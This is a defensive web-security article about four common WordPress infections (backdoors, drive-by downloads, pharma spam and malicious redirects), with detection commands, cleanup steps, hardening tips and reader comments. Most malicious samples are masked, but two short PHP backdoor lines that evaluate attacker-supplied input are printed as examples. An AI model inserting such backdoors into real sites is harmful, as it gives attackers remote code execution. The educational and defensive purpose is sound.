Menu Search
Jump to the content X X
Smashing Conf Barcelona

You know, we use ad-blockers as well. We gotta keep those servers running though. Did you know that we publish useful books and run friendly conferences — crafted for pros like yourself? E.g. our upcoming SmashingConf Barcelona, dedicated to smart front-end techniques and design patterns.

Security Common WordPress Malware Infections

WordPress security is serious business. Exploits of vulnerabilities in WordPress’ architecture have led to mass compromises of servers through cross-site contamination. WordPress’ extensibility increases its vulnerability; plugins and themes house flawed logic, loopholes, Easter eggs, backdoors and a slew of other issues. Firing up your computer to find that you’re supporting a random cause or selling Viagra can be devastating.

wordpress malware1

In WordPress’ core, all security issues are quickly addressed; the WordPress team is focused on strictly maintaining the integrity of the application. The same, however, cannot be said for all plugins and themes.

Further Reading on SmashingMag: Link

The focus of this post is not to add to the overwhelming number of WordPress security or WordPress hardening posts that you see floating around the Web. Rather, we’ll provide more context about the things you need to protect yourself from. What hacks are WordPress users particularly vulnerable to? How do they get in? What do they do to a WordPress website? In this lengthy article, we’ll cover backdoors6, drive-by downloads7, pharma hack8 and malicious redirects9. Please notice that some anti-virus apps report this article as malware, probably because it contains examples of the code that should be avoided. This article does not contain any malware itself, so the alert must be based on heuristic analysis.

Over the past two years, Web malware has grown around 140%. At the same time, WordPress has exploded in popularity as a blogging platform and CMS, powering close to 17% of websites today. But that popularity comes at a price; it makes WordPress a target for Web-based malware. Why? Simple: its reach provides the opportunity for maximum impact. Sure, popularity is a good thing, but it also makes us WordPress users vulnerable.

A Bit About Our Security Expert: Meet Tony Link

Lacking the technical knowledge needed to go into great depth, I brought on board a co-author to help me out. Bringing the technical information is Tony Perez10, Chief Operations and Financial Officer of Sucuri Security11. Sucuri Security provides detection, alerting and remediation services to combat Web-based malware. In other words, it works on websites that have been compromised. This means that Tony has the background, statistics and, most importantly, knowledge to go really in depth on malware issues that affect WordPress users.

I asked Tony how he got into Web security:


“I think it goes back to 2009. I was managing and architecting large-scale enterprise solutions for Department of Defense (DoD) clients and traveling the world. In the process, there was a little thing called compliance with the Security Technical Implementation Guide12 (STIG), set forth by the Defense Information Systems Agency13 (DISA). I know, a mouthful, but it’s how we did things in the DoD; if it didn’t have an acronym, it didn’t belong.

That being said, it wasn’t until I joined Dre and Daniel at Sucuri Security, in early 2011, that I really began to get what I consider to be any resemblance of InfoSec chops.”

Armed with Tony’s technical knowledge, we’ll look at the main issues that affect WordPress users today. But before we get into details, let’s look at some of the reasons why WordPress users might be vulnerable.

What Makes WordPress Vulnerable? Link

Here’s the simple answer. Old versions of WordPress, along with theme and plugin vulnerabilities, multiplied by the CMS’ popularity, with the end user thrown into the mix, make for a vulnerable website.

Let’s break that down.

The first issue is outdated versions of WordPress. Whenever a new WordPress version is released, users get a nagging message, but plenty of users have gotten pretty good at ignoring the nag. Core vulnerabilities in themselves are rarely an issue. They do exist; proof can be found in the most recent 3.3.314 and 3.4.115 releases. WordPress’ core team has gotten pretty good at rolling out security patches quickly and efficiently, so the risk of exploitation is minimal, provided that WordPress users update their installation. This, unfortunately, is the crux of the problem: WordPress users ignore the message.16 And it’s not just inexperienced and casual WordPress users who aren’t updating. A recent high-profile hack was of the Reuters website, which was running version 3.1.117 instead of the current 3.4.1.

Vulnerabilities in plugins and themes is another issue. The WordPress repository has 20,000 plugins and is growing. The plugins are of varying quality; some of them inevitably have security loopholes, while others are outdated. On top of that, consider all of the themes and plugins outside of the repository, including commercial products that are distributed for free on Warez websites and come packed with malware. Google is our favorite search engine, but it’s not so hot for finding quality WordPress themes18.

Then, there’s popularity. WordPress is popular, without a doubt. Around 700 million websites were recorded as using WordPress in May of this year. This popularity means that if a hacker can find a way into one WordPress website, they have potentially millions of websites for a playground. They don’t need to hack websites that use the current version of WordPress; they can scan for websites that use old insecure versions and hack those.

Finally and most significantly, the biggest obstacle facing WordPress users is themselves. Tony in his own words:

“For whatever reason, there is this perception among WordPress users that the hardest part of the job was paying someone to build the website and that once its built, that’s it, it’s done, no further action required. Maybe that was the case seven years ago, but not today.

WordPress’ ease of use is awesome, but I think it provides a false sense of assurances to end users and developers alike. I think, though, this perception is starting to change.”

From Tony’s experience at Sucuri Security, the most common vulnerabilities to website exploits are:

  • Out of date software,
  • Poor credential management,
  • Poor system administration,
  • Soup-kitchen servers,
  • Lack of Web knowledge,
  • Corner-cutting.

A bit of time and education are all it takes to remedy these issues and to keep your WordPress website secure. This means not just ensuring that you as a WordPress expert are educated, but ensuring that the clients you hand over websites to are as well.

The Evolution Of Attacks Link

As the Internet has evolved, the nature of hacking has evolved with it. Hacking started out as a very different animal. Back in the day, it was about showing your technical prowess by manipulating a website to do things beyond the webmaster’s intentions; this was often politically motivated. One day you’d wake up and find yourself supporting the opposition in Nigeria or Liberia. These days, hacking is all about money. The recent DNSChanger19 malware (i.e. the “Internet Doomsday” attack), for example, let hackers rake in close to $14 million before being stopped by the FBI and Estonian police last November.

Another hacking technology that has emerged is malnets. These distributed malware networks are used for everything including identify theft, DDoS attacks, spam distribution, drive-by downloads, fake AV and so on. The hackers automate their attacks for maximum exposure.

Automation through the use of bots is not their only mechanism. Today you also have malware automation: the use of tools to quickly generate a payload (i.e. the infection), allowing the attacker to focus strictly on gaining access to the environment. Once the hacker has access to the environment, they copy and paste in the auto-generated payload. One of the more prevalent automation tools is the Blackhole Exploit Kit20. This and many other kits can be purchased online for a nominal fee. That fee buys sustainment services and keeps the kit updated with new tools for the latest vulnerabilities. It’s a true enterprise.

Common WordPress Malware Issues Link

Thousands of malware types and infections are active on the Internet; fortunately, not all apply to WordPress. For the rest of this post, we’ll look at four of the most common attacks on WordPress users:


A backdoor lets an attacker gain access to your environment via what you would consider to be abnormal methods — FTP, SFTP, WP-ADMIN, etc. Hackers can access your website using the command line or even using a Web-based GUI like this:

backdoor gui screenshot25
A backdoor GUI. Click the image for the whole picture!

Backdoors are exceptionally dangerous. Left unchecked, the most dangerous can cause havoc on your server. They are often attributed to cross-site contamination incidents — i.e. when websites infect other websites on the same server.

How am I attacked?

The attack often happens because of out-of-date software or security holes in code. A vulnerability well known to the WordPress community was found in the TimThumb script26 that was used for image resizing. This vulnerability made it possible for hackers to upload a payload that functioned as a backdoor.

Here is an example of a scanner looking specifically for vulnerable versions of TimThumb:


What does it look like?

Like most infections, this one can be encoded, encrypted, concatenated or some combination thereof. However, it’s not always as simple as looking for encrypted code; there are several instances in which it looks like legitimate code. Here is an example:


Another example:


Below is a case where the content is hidden in the database and targets WordPress installations:

return @eval(get_option(’blogopt1’));

And here is a very simple backdoor that allows any PHP request to execute:

eval (base64_decode($_POST["php"]));

Here is an example of a messy backdoor specifically targeting the TimThumb vulnerability:


Here is another backdoor that commonly affects WordPress installations, the Filesman31:


How can I tell whether I’m infected?

Backdoors come in all different sizes. In some cases, a backdoor is as simple as a file name being changed, like this:

  • wtf.php
  • wphap.php
  • php5.php
  • data.php
  • 1.php
  • p.php

In other cases, the code is embedded in a seemingly benign file. For instance, this was found in a theme’s index.php file, embedded in legitimate code:


Backdoors are tricky. They constantly evolve, so there is no definitive way to say what you should look for.

How do I prevent it?

While backdoors are difficult to detect, preventing them is possible. For the hack to be effective, your website needs an entry point that is accessible to the hacker. You can close backdoors by doing the following:

  1. Prevent access.
    Make your environment difficult to access. Tony recommends a three-pronged approach to locking down wp-admin:

    • Block IPs,
    • Two-factor authentication,
    • Limited access by default.

    This will make it extremely difficult for anyone except you to access your website.

  2. Kill PHP execution.
    Often the weakest link in any WordPress chain is the /uploads/ directory. It is the only directory that needs to be writable in your installation. You can make it more secure by preventing anyone from executing PHP. It’s simple to do. Add the following to the .htaccess file at the root of the directory. If the file doesn’t exist, create it.
<Files *.php>
Deny from All

How is it cleaned?

Once you have found a backdoor, cleaning it is pretty easy — just delete the file or code. However, finding the file can be difficult. On his blog, Canton Becker provides some advice34 on ways to scour your server for backdoors. There is no silver bullet for backdoors, though, or for any infection — backdoors can be simple or complex. You can try doing some basic searches for eval and base64_decode, but if your code looks like what’s below, then knowing what to look for becomes more difficult:


If you are familiar with the terminal, you could log into your website using SSH and try certain methods. The most obvious and easiest method is to look for this:

# grep -ri "eval" [path]

Or for this:

# grep -ri "base64_decode" [path]

The r ensures that all files are scanned, while the i ensures that the scan is case-insensitive. This is important because you could find variations of eval: Eval, eVal, evAl, evaL or any other permutation. The last thing you want is for your scan to fall short because you were too specific.

Look for recently modified files:

find -type f -ctime -0 | more

The -type looks for files, and -ctime restricts your scan to the last 24 hours. You can look at the last 24 or 48 hours by specifying -1 or -2, respectively.

Another option is to use the diff command. This enables you to detect the differences between files and directories. In this case, you would use it for directories. For it to be successful, though, you need to have clean copies of your installation and themes. So, this works only if you have a complete backup of your website.

# diff -r /[path]/[directory] /[path]/[directory] | sort

The -r option is recursive through all directories, and the sort command sorts the output and makes it easier to read. The key here is to quickly identify the things that don’t belong so that you can run integrity checks. Anything you find that is in the live website’s directory but not in the backup directory warrants a second look.

Drive-By Downloads

A drive-by download is the Web equivalent of a drive-by shooting. Technically, it is usually embedded on your website via some type of script injection, which could be associated with a link injection.

The point of a drive-by download is often to download a payload onto your user’s local machine. One of the most common payloads informs the user that their website has been infected and that they need to install an anti-virus product, as shown here:


How does the attack get in?

There are a number of ways an attack can get in. The most common causes are:

  • Out of date software,
  • Compromised credentials (wp-admin, FTP),
  • SQL injection.

What does it look like?

Below are a number of examples of link injections that lead to some type of drive-by download attack:


And this:


And this:


More recently, drive-by downloads and other malware have been functioning as conditional malware — designed with rules that have to be met before the infection presents itself. You can find more information about how conditional malware works in Sucuri’s blog post “Understanding Conditional Malware39.”

How can I tell whether I’m infected?

Using a scanner such as SiteCheck564940 to see whether you are infected is possible. Scanners are pretty good at picking up link injections. Another recommendation is to sign up for Google Webmaster Tools41 and verify your website. In the event that Google is about to blacklist your website, it would email you beforehand notifying you of the problem and giving you a chance to fix it. The free service could pay dividends if you’re looking to stay proactive.

Outside of using a scanner, the difficulty in identifying an infection will depend on its complexity. When you look on the server, it will look something like this:


The good news is that such an infection has to be somewhere where an external output is generated. The following files are common places where you’ll find link injections:

  • wp_blog_header.php (core file)
  • index.php (core file)
  • index.php (theme file)
  • function.php (theme file)
  • header.php (theme file)
  • footer.php (theme file)

About 6 times out of 10, the infection will be in one of those files. Also, your anti-virus software might detect a payload being dropped onto your computer when you visit your website — another good reason to run anti-virus software locally.

Sucuri has also found link injections embedded in posts and pages (as opposed to an originating PHP file), as well as in text widgets. In such cases, scrub your database and users to ensure that none of your accounts have been compromised.

How is it cleaned?

Cleaning can be a challenge and will depend on your technical skill. You could use the terminal to find the issue.

If you have access to your server via SSH, you’re in luck. If you don’t, you can always download locally. Here are the commands that will be of most use to you when traversing the terminal:

  • CURL
    Used to transfer data with a URL syntax.
  • FIND
    Search by file or directory name.
  • GREP
    Search for content in files.

For example, to search all of your files for a particular section of the injection, try something like this:

$ grep -r "" .

Including the following characters is important:

  • "
    Maintains the integrity of the search. Using it is important when you’re searching for special characters because some characters have a different meaning in the terminal.
  • -r
    Means “recursive” and will traverse all directories and files.

You can also refine your search by file type:

$ grep --include ".php" -r "" .

Enabling the --include option allows you to specify file type; in this instance, only PHP files.

These are just a few tricks. Once you’ve located the infection, you have to ensure that you remove every instance of it. Leaving just one could lead to serious frustration in the future.

Pharma Hack

Pharma hack43 is one of the most prevalent infections around. It should not be confused with malware; it’s actually categorized as SPAM — “stupid pointless annoying messages.” If you’re found to be distributing SPAM, you run the risk of being flagged by Google with the following alert:

This site may be compromised!!

This is what it will look like on Google’s search engine results page (SERP):

How am I attacked?

The pharma SPAM injection makes use of conditional malware that applies rules to what the user sees. So, you may or may not see the page above, depending on various rules. This is controlled via code on the server, such as the following:


Some injections are intelligent enough to create their own nests within your server. The infection makes use of $_SERVER["HTTP_REFERER"], which redirects the user to an online store that is controlled by the attacker to generate revenue. Here is an example of such a monetized attack:


Like most SPAM-type infections, pharma hack is largely about controlling traffic and making money. Money can be made through click-throughs and/or traffic. Very rarely does a pharma hack injection redirect a user to a malicious website that contains some additional infection, as with a drive-by download attempt.

This is why it’s so difficult to detect. It’s not as simple as querying for “Cialis” or “Viagra,” although that’d be awesome. Most people would be surprised by the number of legitimate pharmaceutical companies that exist and publish ads on the Web. This adds to the challenge of detecting these infections.

What does it look like?

Pharma hack has evolved, which has made it more difficult to detect. In the past, SPAM injections would appear in your pages, where they were easy to find and, more importantly, remove.


Today, however, pharma hack is quite different. It uses a series of backdoors, sprinkled with intelligence, to detect where traffic is coming from, and then it tells the infection how to respond. Again, it can behave as conditional malware. More and more, pharma hack reserves its payload for Google’s bots; the goal is to make it onto Google’s SERPs. This provides maximum exposure and the biggest monetary return for the hackers.

Here’s an image of an old pharma hack injecting SPAM into a blog’s tags:

screenshot of a blog's tags with pharma hack tags47

Another version of pharma hack was injected in such a way that when the user clicks on an apparently benign link (such as “Home,” “About” or “Contact”), it redirects the user to a completely different page. Somewhere like this:


How do I tell whether I’m infected?

Identifying an infection can be very tricky. In earlier permutations, identifying an infection was as easy as navigating your website, looking at your ads, links, posts and pages, and quickly determining whether you’ve been infected. Today, there are more advanced versions that are harder to find.

The good news for diligent webmasters is that by enabling some type of auditing or file monitoring on your WordPress website, you’ll be able to see when new files have been added or when changes have been made. This is by far one of the most effective methods of detection.

You could try using free scanners, such as SiteCheck564940. Unfortunately, many HTTP scanners, including Sucuri’s, struggle with the task because pharma hack is not technically malicious, so determining the validity of content can be difficult for a scanner.

How is it cleaned?

First, identify the infected files, and then remove them. You can use the commands we’ve outlined above, and you can make queries to your website via the terminal to quickly see whether you’re serving any pharma SPAM to your visitors.

When combatting pharma hacks, one of the most useful commands is grep. For example, to search for any of the ads or pharma references being flagged, run this:

# egrep -wr 'viagra|pharmacy' .

By using egrep, we’re able to search multiple words at the same time if necessary, thus saving you time in this instance.

Or try something like this:

# grep -r "" .

This only works if the infection is not encoded, encrypted or concatenated.

Another useful method is to access your website via different user agents and referrers. Here is an example of what one website looked like when using a Microsoft IE 6 referrer:

Try Bots vs Browsers50 to check your website through a number of different browsers.

Terminal users can also use CURL:

# curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

How do I prevent it?

Preventing a pharma hack can be tricky. Sucuri has found that the hack regularly exploits vulnerable out-of-date software. However, your out-of-date WordPress installation is not necessarily the problem. Even if you are up to date, another outdated installation on the same server could be vulnerable51 to the infection. If the real payload resides elsewhere on your server, not within your website’s directory, then catching it can be exceptionally difficult.

Here is an example of what you might be looking for if you can’t find the infection in your own installation:


To prevent a pharma hack, you should do two things:

  1. Keep your software up to date,
  2. Steer clear of soup-kitchen servers.

Malicious Redirects

A malicious redirect sends a user to a malicious website. In 2010, 42,926 new malicious domains were detected. In 2011, this number grew to 55,294. And that just includes primary domains, not all of their subdomains.

When a visitor is redirected to a website other than the main one, the website may or may not contain a malicious payload. Suppose you have a website at; when someone visits it, the website could take the visitor to, where the malicious payload is in that website’s stats.php file. Or it could be a harmless website with just ads and no malicious payload.

How am I attacked?

As with many malware attacks, it comes down to access. The malicious redirect could be generated by a backdoor. The hacker would scan for a vulnerability, such as TimThumb or old versions of WordPress and, when they find it, upload a payload that functions as a backdoor.

What does it look like?

Detecting a redirect is not as complex as detecting some of the other infections. It is often found in your .htaccess file and looks something like this:


Or like this:


There may be instances where a redirect is encoded and resides in one of your PHP files. If so, it will usually be found in your header.php, footer.php or index.php file; it has also been known to reside in the root index.php file and in other core template files. It is not always encoded, but if it is, it will look something like this:


How do I tell if I am infected?

There are a few ways to check for infections. Here are some suggestions:

  • Use a free scanner, such as SiteCheck564940. They very rarely miss malicious redirects.
  • Test using Bots vs Browser57.
  • Listen to your users. You might not detect the redirect, but sometimes a user will alert you to it.

If a user does detect a problem, ask them pertinent questions to help diagnose the problem:

  • What operating system are they using?
  • What browser(s) are they using, and which version(s)?

The more information you get from them, the better you can replicate the issue and find a fix.

How is it cleaned?

Malicious redirects are one of the easiest infections to clean. Here’s a good starting point:

  1. Open your .htaccess file.
  2. Copy any rewrite rules that you have added yourself
  3. Identify any malicious code, like the sample above, and remove it from the file. Scroll all the way to the bottom of .htaccess to make sure there aren’t any error directives pointing to the same infection.

Be sure to also look for all .htaccess files on the server. Here is one quick way to see how many exist on your server:

# find [path] -name .htaccess -type f | wc -l

And this will tell you where exactly those files are:

# find [path] -name .htaccess -type f | sort

The infection is not always restricted there, though. Depending on the infection, you might also find the redirect encoded and embedded in a file such as index.php or header.php.

Alarmingly, these infections can replicate across all of your .htaccess files. The backdoor responsible for it can also be used to create multiple .htaccess files across all of your directories, all with the same infection. Removing the infection can feel like an uphill struggle, and sometimes cleaning every file you can find is not enough. There are even cases where a file is created outside of the Web directory. The lesson is always look outside of your Web directory as well as within it.

How do I prevent it?

A quick and easy method is to change ownership of the file, or to reduce the file’s permissions so that only the owner has permission to modify it. However, if your root account is compromised, that won’t do you much good.

The most important file to take care of is .htaccess. Check out the tutorial “Protect Your WordPress Site with .htaccess58” for tips on doing that.

Conclusion Link

There you have it: four prevalent attacks that cause havoc across many WordPress installations today. You might not feel better if you get hacked, but hopefully, with this bit of knowledge, you’ll feel more confident that the hack can be cleaned and that your website can be returned to you. Most importantly, if you take one thing away from this: always keep WordPress updated.

Tony’s Top Ten Security Tips Link

  1. Get rid of generic accounts, and know who is accessing your environment.
  2. Harden your directories so that attackers can’t use them against you. Kill PHP execution.
  3. Keep a backup; you never know when you’ll need it.
  4. Connect securely to your server. SFTP and SSH is preferred.
  5. Avoid soup-kitchen servers. Segment between development, staging and production.
  6. Stay current with your software — all of it.
  7. Kill unnecessary credentials, including for FTP, wp-admin and SSH.
  8. You don’t need to write posts as an administrator, nor does everyone need to be an administrator.
  9. If you don’t know what you’re doing, leverage a managed WordPress hosting provider.
  10. IP filtering + Two-factor authentication + Strong credentials = Secure access

Tony’s Most Useful Security Plugins Link

  • Sucuri Sitecheck Malware Scanner59
    This plugin from Tony and the Sucuri crew enables full malware and blacklist scanning in your WordPress dashboard, and it includes a powerful Web application firewall (WAF).
  • Limit Login Attempts60
    Limits the number of login attempts possible both through normal login as well as using auth cookies.
  • Two-Factor Authentication61
    This plugin enables Duo’s two-factor authentication, using a service such as a phone callback or SMS message.
  • Theme-Check62
    Test your theme to make sure it’s up to spec with theme review standards.
  • Plugin-Check
    Does what Theme-Check does but for plugins.

Security Tools Link

Security Resources Link

Useful Security Articles Link


Footnotes Link

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6 #backdoors
  7. 7 #drive-by-downloads
  8. 8 #pharma-hack
  9. 9 #malicious-redirects
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21 #backdoors
  22. 22 #drive-by-downloads
  23. 23 #pharma-hack
  24. 24 #malicious-redirects
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75

↑ Back to top Tweet itShare on Facebook

Siobhan McKeown is a big fan of words, and of WordPress, which works out pretty well since she runs Words for WP, the only copywriting service dedicated to WordPress service providers. You can find her on her personal blog, twitter and occasionally hanging out on G+.

  1. 1

    I get this (I hope) false positive now when I read your feed in Google Reader:

    And this when I visit this article in particular:


  2. 2

    Tom Stoecklein

    October 10, 2012 5:38 am

    Gotta love WordPress…

  3. 3

    Another thing that should probably be added is not to download pirate plugins. If you find a free version of a plugin that costs money it’s a risk.

    I have a paid for plugin on CodeCanyon and every week without fail I get at least 3 emails from people having problems. When I take a look at their sites they’re running a pirated version of my plugin that is trying to download code from a remote location – they’re just lucky that the code is not written properly!

    • 4

      Siobhan McKeown

      October 10, 2012 4:48 am

      You’re totally right. This is an issue with plugins and with themes. People distribute commercial plugins for free and pack them with spammy links or malware. I’ve come across it so many times. It’s such a shame as the developer suffers and the user suffers.

  4. 5

    How come am I getting “JS/Agent.NGH trojan – Threat was detected upon access to web by the application: C:Program Files (x86)Mozilla Firefoxfirefox.exe.” from this post as well as the RSS feed in my inbox?

    Is it a coincidence that this post is about malware infections?

    • 6

      The anti-virus detects the text content as a common attack pattern and blocks it. They have changed the content to images so it should no longer occur.

      • 7

        Siobhan McKeown

        October 10, 2012 4:49 am

        Yup – should be fixed now. Apologies for causing havoc!

        • 8

          I still get the “connection terminated” message in Google Reader, as per the image in my screenshot comment.

          I think there are still some things on the RSS version of the article that upset it.

          • 9

            Seems fixed now that the newest post has entered the feed. Cached version causing the issue perhaps.

            All better.

  5. 10

    Great article!

    I’ve been hacked recently…. They came through an old version of timthumb (of course >.>) and wrecked havoc on my page (luckily only that – we host a few other pages on this server as well).
    What helped me to clean up my wordpress installation after restoring backups (which were infected aswell :( ), was the WordFence plugin.
    To be honest, I haven’t heard about it before, but they came up with a really nice idea: they keep a database of the wp core files along with the whole plugin database and check your installation against it. When they find differences, you get the possibility to revert them (as it’s probably malware).

    Go check it out! :D

    FYI, I have nothing to do with them ;)

    • 11

      Siobhan McKeown

      October 10, 2012 4:50 am

      Thanks for the tip, Asmodiel. I’ve never seen this plugin before – will definitely take a look :)

    • 12


      Very familiar with the plugin, itss developer is the same one that was attributed with the TimThumb disclosure back in 2011. It is a nice plugin, has a decent detection rate and very good usability.


  6. 13

    Please mask the code (e.g. even though it’s bad web programming style by converting it into a picture), as it is recognized by several virus scanners as malicious code snippets.

  7. 14

    Vitaly Friedman

    October 10, 2012 2:18 am

    The code has been masked a couple of minutes after the article was published. Thanks Matthias — the problem shouldn’t occur any longer.

  8. 17


    when I have Killed PHP execution in a /uploads/ directory with .htaccess, images from /uploads/ directory are no longer showing on the site!

    What is the trick to override this issue?

    Thank you for your answer.


    • 18

      I modified it a bit to be this:

      <FilesMatch “\.php$”>
      Order Deny,Allow
      Deny from All
      Allow from env=REDIRECT_STATUS

      and it *appears* to block php but still let images through, but I’m not sure if it’s accomplishing the same thing, security-wise.

      • 19

        Hey Lisa

        I really like that. Thanks.


        • 20

          Marcus Tibesar

          October 13, 2012 5:17 am

          It could be my imagination but, it seemed that placing this htaccess file within the uploads directory slowed my site way down.

          I have a lot of photos and images so is there a lot of extra processing being done with implementation of this “filter” ?

          Thank you so much!

        • 21

          Is the above modification a viable fix for the allowance of imgs but denying PHP?

        • 22

          Hey Chris, yes its WordPress. I use a service caelld and I’ve contacted them to see if this is something that they are aware of, or if there’s something to be done before I take another crack at it.

  9. 23

    The Login Lock plugin seems to have been removed from the Plugin directory. So I’ve found Login Security Solution which seems to be quite comprehensive.

    I also tried the kill PHP trick but it caused a error 500 instead. How to fix, please? I am hosted with WP Engine and A Small Orange.

    • 24

      Should be Limit Login, the other one was removed because it hasn’t been updated in years. Sorry about that.


      As for the 500, depends on how your server is configured. It should work on WPE, work on them all the time. Check your directives in htaccess make sure that’s not causing the issue. One typo can kill everything.

      • 25

        The WordFence plugin also takes care of this for you as an option if you enable it, with more options than the Limit Login Attempts plugin

  10. 26

    Thomas Henson

    October 10, 2012 5:31 am

    One feature that should be pushed for is a security rating for plugins in the WordPress Plugin Repository. This could help bring awareness for security and allow for developers to get security feedback for plugins. It could be as simple as another window below the compatibility window. Any thoughts about how to bring this to the WordPress Community?

    • 27

      Hi Thomas

      I believe their is a voting system now, that could act as a rating system. The issue with that is the details of the rating. Some folks will rate up or down based on personal preference, lack of understanding of the plugin or any number of reasons. The idea is novel, but difficult to implement That being said, I believe there is an ideas page on that you can leverage to share your thoughts.


  11. 28

    Matthew Babbs

    October 10, 2012 6:23 am

    Thank you for a very helpful rundown of common WordPress infections/exploits. Bookmarked, and I expect I’ll keep referring back to it.

    I do wonder, though, whether it’s generally a good idea to try to clean up a known-infected site. As the article says, many infections are hard to find—so surely it’s often equally hard to be sure you found everything! As long as you have a local copy of your site’s source (presumably not infected) it’s going to be safer to re-deploy than try to clean up.

    In other words, if you know you’re infected, nuke the old files and re-deploy!

    I suspect in most cases it’s both quicker and easier, even if you’re deploying by hand. The only problem is if you’ve been making edits on the server and not keeping a local copy… but even so, better to have to re-create a few recent changes than suffer an infection that keeps coming back.

    (If you have a half-decent deploy script, of course, it takes just a few seconds and you can examine the infected files at your leisure. My own Phing script is a bit hackish, but it works.)

  12. 29

    One of my sites was also recently hacked.

    Unfortunately the guy did a pretty good job of getting into my server. It’s actually pretty damn scary. I was notified by Google Webmaster tools that my site was hijacked and contained malware. My site was redirecting to some odd .br domain which then tried to use an exploit to install some malware.

    On the server I could see that he used Timthumb to upload a small backdoor script. Eventually he got access and uploaded a file called satan.php. This file – very scary – basically gave him access to pretty much the whole server.

    The first thing was to completely replace the server. All sites that were on there had to be replaced with clean versions I had on my local machine (As Matthew above points out). I had to update all sites and also go through the DB’s which contained some backdoors. Besides that I also had to replace all logins. Do everything you can. It’s just not worth taking the risk.

    My advice is to ensure you DO NOT have too many websites on one machine and keep everything up to date. The whole “Soup-kitchen servers” should be avoided by all means. I know it’s extra work, but keep everything separate and make sure each site runs in it’s own secure environment – if they have to be on one server. Using something like webmin (Or centmin) can help manage this for you.

    Make sure you keep weekly and daily backups. In my case I was making backups but Rackspace Cloud were replacing them so I had no proper clean backup to revert to!

    Ensure you update all themes and WordPress installations! I recommend using Drupal if you can – which is in general much more secure.

    Having your server hacked is like having someone burgle your house. It’s really not a nice experience and I can’t emphasise how damaging this can be.

    • 30

      Whenever I hear these stories I cringe. But you’re right, those backdoors will make the toughest ones shed a tear when they realize how vulnerable they really are.

      Glad you got it all situated.


  13. 31

    Thank you for this article. I actually just started a forum post that has been relatively active on Securing WordPress. On of my clients actually was hit with the Pharma Hack, and our traffic dropped from almost 1,000 visitors a day to about 0. It really sucked.

    I know that along with the pharma hack being hard to detect, it’s really really smart. It the script will 404 a searcher the second time they click it.

    I will be sharing this article heavily!

  14. 32

    How can you check a theme for vulnerabilities if you are using an older theme that the author stopped updating long ago? Aside from things like Timthumb, what is it in themes that can sometimes become vulnerable if you don’t keep them updated? I realize that every theme is different, but I’m curious what the most comment attack vectors are.

    • 33

      Ipstenu (Mika Epstein)

      October 11, 2012 5:51 am

      Same way as plugins, really.

      Considering that a functions.php file is effectively a plugin, any time an ‘advanced’ plugin has a lot of places where you can enter special content (I’m thinking the ones that let you insert into the header/footer/etc), you have to sanitize and protect input.

      Code-wise, a plugin and a theme are really not very different.

    • 34

      Dougal Campbell

      October 11, 2012 6:19 am

      The age of a theme, in and of itself, is not a problem *IF* the theme is secure to start with. The problem is that some obscure, hard-to-find bug could be in the code unnoticed. If the theme is not actively maintained, and the bug is eventually found and exploited by bad guys, the concern is that there won’t be a quick response in the form of an update to the code.

      The attack vectors can vary widely, but will largely depend on what kind of extra functionality the theme is providing, beyond general look-and-feel. The more “features” a theme tries to incorporate, the larger the code-base, the higher the chance of some missed bug. This is sometimes more true when the theme incorporates third-party code (such as in the case of TimThumb, to use one example). One “red flag” I’d probably watch out for is features that allow unauthenticated users to submit content to your site. For example, a “shout box” feature. This would probably be one of the first things a malicious attacker would examine, looking for some instance of unescaped data that he could take advantage of.

      Security is HARD. WordPress does offer several good security-related utility functions, but the burden is still on the theme/plugin developer to know when and how to use them.

    • 36

      Hey Chris

      If you’re a dev, or have another dev, have them do a code audit of the theme. But Ipstenu hit it on the head, it’s about validation and sanitization of the data as it comes in and goes. Put out a post on it a week ago:

      For a theme, you might want to check out the theme-check plugin. It uses a green / red system to tell you bad or good respectively. Could be a good place to start.


  15. 37

    I am surprised nobody has mentioned the Better WP Security plugin from It includes many of the features listed in the plugins above in a single package in addition to a large number of other features.

    I am interested to hear any pro / con arguments on it, since it is one of my top go to WP security packages.

    Reading this article makes me further appreciate the adjustments that it makes.

  16. 38

    Darlene Motley

    October 11, 2012 7:01 am

    Is there a similar article on Smashing Magazine for Joomla sites? This article is great but I just had a joomla site get hacked and sucuri saved the day. But I would love to have this comprehensive of a current article about Joomla sites!

    • 39

      Hey Darlene

      Joomla is a bit of beast to write about, the same issues apply to that platform but things are a bit different. Especially for those on the 1.5.x branch, that branch has more holes than a tennis racket. The other challenge with them is the upgrade process, it’s exceptionally difficult for users to manage and deal with and can, in some instances, cost a good deal of money. More often than not though, unlike WP, the real vector is some kind of SQLi attack via the core or its modules, which makes it very frustrating.

      But it’s a good idea on a Joomla specific post.


  17. 40

    Nice article! We really need such article nowadays, some of our projects have been hacked weeks ago and so happy we’re able to retrieved it and installed some of the security plugins mentioned above.

  18. 41

    Your “Kill PHP Execution” code has an error. You’re using “FilesMatch” then “Files” to close it. You need to change the “Files” to “FilesMatch” to close it.

    For your “Kill PHP Execution” for the uploads directory it would be better to white-list instead of blacklist, since there are many extensions that could be executable.

    Something like this (I originally tried to paste the code here, but it gets stripped for some reason):

    Please note that above works best for Apache 2.x and above. One, FilesMatch is much better utilized for PCRE. Two, that above prevents any double extensions as well, so no .php.jpg or anything that can be changed using Live HTTP Headers, etc.

    So the rules says, only allow the follow case-insensitive single file extensions. jpeg, jpg, png, gif, pdf

    “[^.]+” Means not a literal period one or more times.

    “(?:[Jj][Pp][Ee]?[Gg]|[Pp][Nn][Gg]|[Gg][Ii][Ff]|[Pp][Dd][Ff]) or (?i:jpe?g|png|gif|pdf)” Means these case-insensitive file extensions.

    You could create your own list depending on your needs.

    • 42

      Hey Boss

      You’re right, above is a typo, on my part.

      It should be:

      <Files *.php>
      Deny from all

      The reason your code is banned is you’re not escaping, most likely.


    • 43

